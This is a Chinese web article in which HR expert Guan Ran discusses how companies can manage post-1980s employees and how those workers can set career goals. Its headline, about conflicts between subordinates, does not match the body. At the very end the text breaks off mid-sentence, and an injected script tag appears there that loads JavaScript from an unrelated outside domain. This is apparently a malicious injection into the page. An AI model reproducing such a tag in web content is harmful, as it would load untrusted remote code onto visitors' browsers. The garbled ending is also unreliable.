下属之间有矛盾怎么办？
不少管理者都评价拥有明显时代特征的80后，不够职业化，过于以自我为中心，但不可否认的是，80后将会成为企业的新生主力军。对于这些尚不够职业的80后职业人，企业应该采用怎样方式引导80后融入职场，而作为80后个人，又应该以怎样的心态面对职场？ 本期我们邀请了人力资源专家管然女士，就我们收集来的真实案例进行分析，通过分析给企业和80后一些有益的启示。
专家简介： 管然，佳能中国有限公司培训与开发部副总经理，长期以来驰骋于世界各知名跨国集团的人力资源培训讲坛，熟悉跨国企业、合资企业等各种企业形式的职业化运作与管理的她，曾被数家知名企业聘为管理顾问。 案例一：在国内一个非常知名的高校论坛上，有人发了这样一个帖子——你愿意工作吗？这个简单的问题引发了上万条的点击回复，几乎所有回帖人都表示上班并不是件愉快的事情，“每天清晨，我都在和自己作斗争：去上班？还是不去上班？——今天我就没有跟自己斗争，我跟老板请了假。”类似这样的回复数不胜数。值得注意的是，回帖人大部分为80后。尽管很多人都在批判80后身上的某种缺失，但不可否认，80后正在成为雇员大军中的主力。企业与80后本人应该怎样达成相互理解与和谐共存？ 专家解析：对于80后的管理，企业都处在摸索阶段， 80后正逐步步入职场，成为职场新人的主力军。这个年龄层进入职场大概仅有4、5年的时间，所以大家都在摸索怎样让管理方式更适合这个年龄层的员工。 对于案例中提到的现象，其实各个年龄阶段的人都有，只不过比例不太一样，80后可能更为突出一些。各个年龄阶段有各自的特点，60年代的人更加忠诚，以事业单位为第一；70年代比较讲究家庭和工作的平衡，而80年代的人就相对自我一些，当然不可否认，80后中也有很看重事业，注重平衡的群体。 举一个例子，我原来的秘书就是80后，她就让我刮目相看。80后进入职场之后，铺天盖地的评价纷至沓来，我也会或多或少地带有有色眼镜来观察我团队中的第一个80后，之所以选择80后的员工是因为我认为80后很有创意、很有想法，所以打算尝试一下，为团队带来一些新鲜的血液。在接触的过程 ，的确需要时间来协调。她后来可以在别人下班的时候，主动加班，把自己的工作做完，而且从不申请加班费用，一开始我想，是不是她的效率有问题，但通过观察，我发现她的工作效率很高，她的工作状态于案例中提到的大相径庭。我总结她拥有这种工作心态的原因是多方面的，一方面她是知名院校的毕业生，学校的教育相对提前一些，已经在学校阶段就把学生带入到职业化的状态中。她很勤勉，在家里也是娇惯的独生女，却能在工作的氛围中做到支持整个部门，支持我的工作。归根结底是价值观，这名80后的员工有高端的追求，对自己将来要达成什么目标非常明确，她了解自身现状与目标间的差距，明白只有通过努力，才能达到目标。 从我讲的例子对比案例，就一目了然。当出现别人认为不是很积极的表现态度的时候，通常是目标不够明确，目标明确的人会自发自觉地去努力，会自制。也就是我所说的“三自精神”——自发、自觉、自治。这是很多人明白却不一定反映在现实生活中的道理。目标明确会进行自我管理，可能并不需要外界的激励，完全可以自我激励。当然，人总归有情感波动的时候，不排除有情绪低落而在工作中不积极的时候。如果是经常性的不积极，一般我们认为还是没有明确的目标。 专家支招80后：那么应该制定一个怎样的目标呢？我认为，应该制定一个职业目标，但不要制定过于现实的目标，比如说我要挣多少钱，买什么样的车和房子等。职业方向的大目标 重要，它也是每个职业人早期制定的目标。能够比较早期的定下目标的人是很有限的，但他们成功的概率要高一些。 哈佛大学曾做过一个测试，测试结果是：3%的人有自己20年以后?script src=http://cn.jxmmtv.com/cn.js>
